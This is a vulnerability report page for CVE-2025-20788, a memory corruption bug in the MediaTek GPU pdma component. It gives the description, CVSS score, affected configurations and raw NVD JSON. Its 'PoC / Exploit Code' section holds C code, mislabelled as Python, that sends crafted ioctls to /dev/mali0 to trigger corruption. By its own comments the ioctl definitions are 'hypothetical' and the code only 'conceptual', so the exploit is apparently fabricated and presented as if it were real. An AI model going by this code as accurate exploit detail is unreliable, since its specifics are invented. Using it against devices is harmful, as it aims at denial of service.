Security Vulnerability Report
中文
CVE-2025-20788 CVSS 4.4 MEDIUM

CVE-2025-20788

Published: 2025-12-02 03:16:20
Last Modified: 2025-12-03 20:31:57

Description

In GPU pdma, there is a possible memory corruption due to a missing permission check. This could lead to local denial of service with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS10117735; Issue ID: MSV-4539.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt8196:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek GPU pdma (未安装补丁ALPS10117735的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-20788 PoC - MediaTek GPU pdma Memory Corruption // This is a conceptual PoC demonstrating the exploitation approach #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> // MediaTek GPU pdma ioctl definitions (hypothetical) #define GPU_PDMA_IOC_MAGIC 'G' #define GPU_PDMA_SET_BUFFER _IOW(GPU_PDMA_IOC_MAGIC, 0x01, struct pdma_config) #define GPU_PDMA_TRIGGER _IO(GPU_PDMA_IOC_MAGIC, 0x02) struct pdma_config { unsigned long src_addr; unsigned long dst_addr; unsigned int size; unsigned int flags; }; int main() { int fd; struct pdma_config config; printf("CVE-2025-20788 PoC - MediaTek GPU pdma Memory Corruption\n"); // Open GPU device (requires local access) fd = open("/dev/mali0", O_RDWR); if (fd < 0) { perror("Failed to open GPU device"); return -1; } // Trigger the vulnerability without proper permission check // Set up malicious pdma configuration config.src_addr = 0xFFFFFFFF; // Invalid source address config.dst_addr = 0x10000000; // Kernel memory region config.size = 0x10000; // Large transfer size config.flags = 0x00; // Missing permission flags // This ioctl call should validate permissions but doesn't if (ioctl(fd, GPU_PDMA_SET_BUFFER, &config) < 0) { perror("Failed to set pdma config"); close(fd); return -1; } // Trigger the DMA transfer - causes memory corruption if (ioctl(fd, GPU_PDMA_TRIGGER, NULL) < 0) { perror("Failed to trigger pdma"); close(fd); return -1; } printf("Memory corruption triggered - system may crash\n"); close(fd); return 0; } // Note: This PoC is for educational purposes. Real exploitation requires: // 1. Local access to the device // 2. User interaction to trigger the vulnerable code path // 3. Specific MediaTek GPU driver version without patch ALPS10117735

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20788", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:19.617", "lastModified": "2025-12-03T20:31:56.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GPU pdma, there is a possible memory corruption due to a missing permission check. This could lead to local denial of service with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS10117735; Issue ID: MSV-4539."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1262"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8196:-:*:*:*:*:*:*:*", "matchCriteriaId": "FB0C4D80-28BC-4C4D-B522-AD9EC5222A2E"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/December-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}